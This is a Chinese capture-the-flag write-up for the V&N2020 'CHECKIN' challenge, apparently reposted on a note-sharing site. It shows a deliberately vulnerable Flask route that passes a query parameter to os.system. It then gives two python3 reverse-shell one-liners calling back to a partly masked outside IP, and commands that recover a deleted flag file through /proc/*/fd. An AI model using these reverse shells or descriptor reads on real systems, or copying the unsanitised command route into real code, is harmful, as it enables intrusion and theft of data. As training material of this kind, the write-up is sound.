分享

[V&N2020 公开赛]CHECKIN

 印度阿三17 2020-12-16

知识点

  • 反弹shell
  • 文件描述符

WP

进入环境审一下源码:

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

主要是这里:

@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

我们可以get传参来命令执行,但是会先把flag.txt给删掉。还有一个问题就是os.system命令执行的结果是直接回显到终端的,我们在页面上面看不到,因此这题首先就需要反弹shell。因为这题是python环境,因此正常的反弹shell就是bash,nc,curl和python反弹。经过测试,这题前面三种方式都不行,因此只能python反弹。

但是这题有一个坑,就是没有python这个命令,有的是python3这个命令。自己用python反弹失败后也是没想到试试python3,然后就卡住了,还是太菜了。

python反弹shell的方式我目前知道这两种,经过测试都可以:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('118.***.***.***',39555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

成功反弹过shell后就该思考这题的核心考点了,就是既然已经rm -f了flag.txt,还怎么读到flag呢?

这里考察的是Linux中文件描述符的知识:

什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。

例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。

文件描述符储存在什么地方:/proc/<pid>/fd<id>

因此我们既然有了shell,直接读内存中的flag文件就可以了,但是怎么读这里也是有几种姿势:

方法一:利用lsof命令

用lsof命令来查看所有打开的文件。但是这题没有lsof命令,只能用其他方法。

方法二:python命令行

直接暴力找:

python3 -c "import os;[os.system('cat /proc/' str(i) '/fd/3') for i in range(20)];"
或者
python3 -c "import os;[os.system('cat /proc/' str(i) '/fd/' str(j)) for i in range(20) for j in range(10)];"

可以成功找到flag。

方法三:利用通配符

这也是我最喜欢的一种方法,利用通配符*,读取内存中所有文件:

在这里插入图片描述

cat /proc/*/fd/*

方法四:用手慢慢找

懂得都懂。。。。就有费时间费手。。。

来源:https://www./content-4-788351.html

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多